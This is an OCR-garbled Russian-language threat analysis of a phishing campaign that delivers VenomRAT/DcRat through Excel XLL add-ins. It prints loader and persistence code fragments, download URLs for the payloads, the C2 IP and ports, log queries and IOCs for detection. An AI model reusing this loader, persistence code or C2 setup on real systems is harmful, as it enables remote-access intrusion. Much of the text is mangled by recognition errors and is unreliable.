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OnuncaHune

TpoAHCKaA NPOrpamMma JOCTaBAAETCA C NMOMOLLBI LENEBbIX GULLIMHIOBBIX MMCEM OT AOBEPEHHbIX MCTOUYHUKOB.
*KepTBa nonyyaeT nncbMo B popmaTe zip apxmBa, cogeprKallee 2 danna: JocynebHoe TpebosanHmexl,
MpeteH3maxil.

Darinbl cobpaHbl Ana noaaepkkm pasHor apxutektypbl OC. MNpu 3anycke danna Microsoft Excel cnpawvisaet
pa3pelleHne Ha fobaBneHne Moayna:

Microsoft Excel Security Motice ? *

@ Microsoft Office has identified a potential security concern.

Warning: There is no digital signature available.

File Path: | coyUsers\wputin\Downloads\exceldna-unpack-2,1.0-win7-x64
‘docyaeBHoeE T| e\ docyaeBHOE T) ne.xll

This application add-in has been disabled, Add-ins might contain viruses
or other security hazards.

More information

Enable this add-in for this session only. Leave this add-in disabled.

Yepes mexaHu3m ExcelDDA nponcxoauT 3arpy3ka daiina no agpecy:

"hxxps://cdn.discordapp.com/attachments/915348665613287425/915350025465393202/exel.exe":

e"):
riable("TEMP")

iable("TEMP")

( projectError)

CkaudaHHbI daiin exel.exe 3anyckaeTca v 3arpykaeT TPOAHCKYIO MPOrpamMmy no CChiKe:
"hxxps://cdn.discordapp.com/attachments/914962235657429035/915346857981534280/QWIN.exe "

[Im Resources
[1 array = val. dData(R xe .NIWQ/08 189758643519/530924756 9419/stnemhcatta/moc.ppadrocsid.ndc/
[1 rawAssembly

> type - Assembly. (rawAssembly).
d("

method - type. ("f
500);
obj method. I [11 { array });

Application.Exit();
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QWIN.exe sasnaetca Gannom-gponnepom. BeinonHAeT npoueaypy AobaBneHna ceba B aBTO3anyckK:

(Methods.IsAdmin())

o processStartInfo Proc fo();
processStartInfo.FileName
processStartInfo.Arguments /create /T /sc onlogon /rl highest /tn \"" + Path.GetFileNameWithout on(fileInfo.Name)
tr "\"" + fileInfo.FullName ;
processStartInfo.WindowStyle owStyle.Hidden;
procel%sstartlnfo.CreateNoNindow
Process.Start(processStartInfo):

al = Registry.CurrentUser. ey ("SOFTWARE\ \Microsoft\\Windows\\CurrentVersion\\Run\\"

val.SetValue(Path.GetFileNameWithoutExtension(fileInfo.Name), ( G fileInfo.FullName

Ecnny nonb3osaTena npasa AAMUHUCTPATOPa, TO CO3[aeTCA 3a4a4a B MNaHMPOBLLVKe 3afau C nveHem exel. Ecau
npaB AOMMHNCTPATOPA HeT, TO A00ABAAETCA KMOU B peecTp A/1A aBTO3amnycKa
(HKCU\Software\Microsoft\Windows\CurrentVersion\Run\exel). ®ainn knagetca B nanky C:\Users\</ms
nonb3osatena>\AppData\Roaming\exel.exe.

TposaHCKaa NporpamMma UMeeT CeflytoLme HaCTPOVIKM:
Hosts: 111.90.143.12

Ports: 4489,8080,4899

Version: VenomRAT_HVNC 5.04

Install: true

MTX: Venom_RAT_Mutex_Venom_RAT

Certificate:

6J74FghhyzWgeGVPtc/JibxFenJ4zubsZxsOH7yWRWgNOriY3jXGLZW2S7NofdIswrAkosouiBjV2 1 MJEubbvmSE41+iT72+KfcPVxS
Nu/fHQr473003jSn+4To56+79Eop TwuqT+k9TuBTux46ngHcOtTUMGJqQ+3mi/gYIXvEBLVWG2cTWplL 7PpQNaXIu2hOSN7hyOa
/PAULXD1b8hIdBduijL 1zPbGsMCaqVBOuq32Q29mzEyoS4LnTuS4hHST3CAGVHh/39VKceMT2pGNYMXS96+kViculUz6+MN6Kd
eoVPPSEpNAetNdg5i3kZYr3C7g5a/STONPFJ8cY200uj1 7XMYE+F52F5IMsntOdHpIC4iL 60pt3dxV1z7aCd9%enur? 1eC6 1A%l RapX
me62618ik0u6847e8x607dAXIqfzf 119iuQp89f1oel1 AKL5 svDm4dcBuNvOivDiwmzIPXizRdnlUhm+x4pcs/WR16RzpawUiAsIWeyg
NtGZYpB88LOhDacXttk3+9duYGv4Km7/qeE4loyOMpmwOKIAU3edA5PqZXEZIBFGLHXY880X/ACT sNIsIKkbhxFMnODmMbC+9vk
kbV5/w6hmQ15SpCZiBENBTRGowui TavPJ7NEVQvIsmIJZkt4K0zw 1 Ny2Fn2HbZ Y keINqUxbPIvy 1 Qr 1 mGIRTBNS8G9oBO9cg TEEK)
+XPeBqoziOlioddOHeROuKhtIA8x4k0eX7584iGswWaWCh/DizfG6nmXW75bxB04mJoTTgoQkINjgyPtA6 CX+VEoiabsw9rz/rD5+9
QXVHwh2sTAgDJAFFNI8VIgS150hkPZxGbUEM23MPOUIUE7WQsdKIGaFng8Hg4rYTv8BBex2uyXMKOrRfBfkt+vIFIU7hVES9YMu
3/bTkby+yWQPgeK80XI3EEKUMaMBh7BGTnXKwu5bs2XZ/61 YEV2ynxwMPV/M8uZSz6yjWi3bDHFOCm4XUyF1FcNTURF2 JUoW
33R7d3cWu46217A0J078vPzMs6 WnfHwWQroHJVBJIbXOsNRSHZ WohF8QPfmI4rZzmiGl7 XewDjRmAkpf3ShAKGby

Server signature:
Zl[dMBLMYz2EihQkodKzZX EyCP2+Ea4Q+dHLtUZ0eqj9Vh+i7zjIXulR9v 1 pr8aFllg QL UpV8iH+gfGgn/0p/7w306+dONdrDdX1hE
JgZVTVPBYhrocaSL6x2UPVGLSTh9i2L Rkit3uOLtzodh+gCLTJSRCipCtT3FOWSKRSyA=

Pastebin: null
BS_OD: false

Group: Venom Clients
Anti process: false

An_ti: false
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[0 aHanM3y MCXoAHOro KoAa yaanock HanTn NpoekT «https://github.com/qwqgdanchun/DcRaty, KOTOpbIN B3AAM 33
OCHOBY /19 Pa3pabOoTKN. 310YMbILNEHHWKIA HaNWCanu TOIbKO CBOW 3arpy34iK TPOAHCKON NporpaMmbl. KOHCONb
onepaTopa BbIMAAUT CIeAYIOLMM OOPa3OM:

W DcRat 1.05 10:06:34

File Help
Clients Screens Auto Task

IP Port Country Growp  HWID 0S version Client versi

Remote Manager Remote Shell
Remote Control Remote Screen
Malware Remote Camera
Lock Screen File Manager
System Control Process Manager
Bypass UAC Netstat

Install Record

Information Program Notification L}P

Listenning to: 8848

Selected 0 Sent 0B Received 08B

B Kope 3arpy3unka HavaeHbl MyTh NpoekTa:
C:\Work\Excel-DNA\ExcelDna\Source\ExcelDna.Integration\obj\Release\ExcelDna.Integration.pdb
C:\Work\Excel-DNA\ExcelDna\Source\ExcelDna.Loader\obj\Release\ExcelDna.Loader.pdb
C\Users\Administrator\Desktop\New folder\bin\Debug\SLN2\ADDIN\obj\Debug\ADDIN.pdb

Lienoyka 3aparkeHua BbIMAQNT CnefytoLm 0Opasom:

VenomRAT_HVNC Delivery scheme

/c schtasks /create /f /sc onlogon /1l highest /tn
QWIN /tr full/path/to/OWIN

g *
YES
/ﬂu[yqeﬁuoe emd.exe
peBosarmexil 7
E \

Ii‘\ (’ ¥ IsAdmin
= — e}!’—’ﬁ*ﬁsgg}—» G — ™

TNocyaetioe \
. exelexe "
Docyaebran npetersua o: Tpebosanmezip cdn.discordzpp.com cdn.discordzpp.com QWiN.exe
company_name \ E

Mpererauaxil

SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\,
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Mownck pakTa KOMNpomeTaLu B Balleil opraHn3aLumm

[Ina obHapyxeHna dakTa KoMNpoMeTaLmK Heobxoarmo B “PKypHane Tpaduka” BbINOAHWTL 3anpoc:
ipDest="111.90.143.12":

HypHan Tpachuka

@ ipDest='111.90.143.12" 7 ® Q  npocroi
CeTe... 30HA MCTOYHWKA IP HETOUHWKA MeopT... 30HA HA3HAM... IP HASHa4YEHHUA MopT... NAT ... NAT agpec H... NAT ...
TCP L Management © 10.10.1.73 59123 L4 Untrusted EE 111.90.143.12 8080 192.168.44.253 59123 111.90.143.12 8080
TCP LJ Management  10.10.1.73 59123 L Untrusted BE111.90.143.12 8080 Hem Hem Hem Hem
TCP L2 Management © 10.10.1.73 59115 L2 Untrusted EE11190.143.12 4899 192.168.44.253 59115 111.90.143.12 4899
TCP L Management 9 10.10.1.73 59115 L3 Untrusted EE111.90.143.12 4899 Hem Hem Hem Hem
TCP L Management 9 10.10.1.73 59115 L Untrusted EE 111.90.143.12 4899 192.168.44.253 59115 111.90.143.12 4899
TCP L Management 9 10.10.1.73 59115 L3 Untrusted EE111.90.143.12 4899 Hem Hem Hem Hem
TCP LJ Management ® 10.10.1.73 59108 L3 Untrusted BE 111.90.143.12 4899 192.168.44.253 591061  111.90.14312 4899
TCP Ld Management © 10.10.1.73 59108 L Untrusted BE11190.143.12 4899 Hem Hem Hem Hem
TCP L Management 9 10.10.1.73 59108 L Untrusted EE 111.90.143.12 4899 192.168.44.253 59108 111.90.143.12 4899
TCP L Management ©® 10.10.1.73 59108 L Untrusted EE111.90.143.12 4899 Hem Hem Hem Hem
TCP L Manaoement ® 10.10.1.73 58101 L, Untrusted BE 1110014312 8080 192.168.44.253 59101 .1x 111.90.143.12 8080

[MpoBepuUTb NErUTUMHOCTb 0bpallieHns Ha cdn.discordapp.com, Tak Kak 3arpy3Kka YacTelt TPOAHCKOW NPorpamMmbl
NPOUCXOANT C AaHHOrO pecypca.

KypHan sed-gocTyna

@ date >= 2021-12-03T00:00:00 AND date <= 2021-12-03T23:59:58 AND url = hitps://cdn.discordapp.com’ 7 ® Q | npocroi @ v (%
] URL 30Ha MCTOUHNKA IP MCTOUHMKA Mopr... 30HA HA3HAaM... IP HAsHa4YeHHs MoprT...
(-] hitps:/icdn.discordapp.com L3 Management © 1010173 58329  [Lduntrusted @ 162.150.130.233 443
(-] https:/icdn.discordapp.com L3 Management @ 10.10.1.73 58289 G Untrusted 9 162.150.135.233 443
Q@ https:/fcdn. discordapp.com L Management @ 1010173 56531 [ Untrusted © 162.159.129.233 443
e https:/fcdn.discordapp.com Ld Management ©@ 10.10.1.73 56528 G Untrusted © 162.159.129.233 443
e hitps://cdn.discordapp.com 53 Management © 1010173 56339  Lduntrusted @ 162.150.134.233 443
[-] https:/icdn.discordapp.com L3 Management @ 10.10.1.73 56294 L3 Untrusted © 162.150.134.233 443
Q@ https:/fcdn. discordapp.com L Management @ 1010173 56263 [ Untrusted © 162.159.134.233 443
-] https:/fcdn.discordapp.com LJ Management ©® 1010173 56189 L Untrusted @ 162.159.133.233 443
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NHpgnkaTopbl KomnpomeTtayum:

URL:
"hxxps.//cdn.discordapp.com/attachments/915348665613287425/915350025465393202/exel.exe”
"hxxps.//cdn.discordapp.com/attachments/914962235657429035/915346857981534280/QWIN.exe "
IP:

1711.90.143.12

MD5:

170d4a9550d445d276e58f39ca045e98 - [locynebHoe TpebosaHme.xll
ba75745e46d7cc9bbaf/78de4788d5617 — lNpeteH3maxll

7528f37e6e667a6a4783ebcdeb2582a7 — exel.exe

770d5566dde80d34ce8fc73310368e37 - QWIN.exe

679b7d4a869d15d2794463d5f3546137 - [locynebHoe TpeboBaHme.zip

[yt K dannam:

%TEMP%\exel.exe

%AppData%\exel.exe
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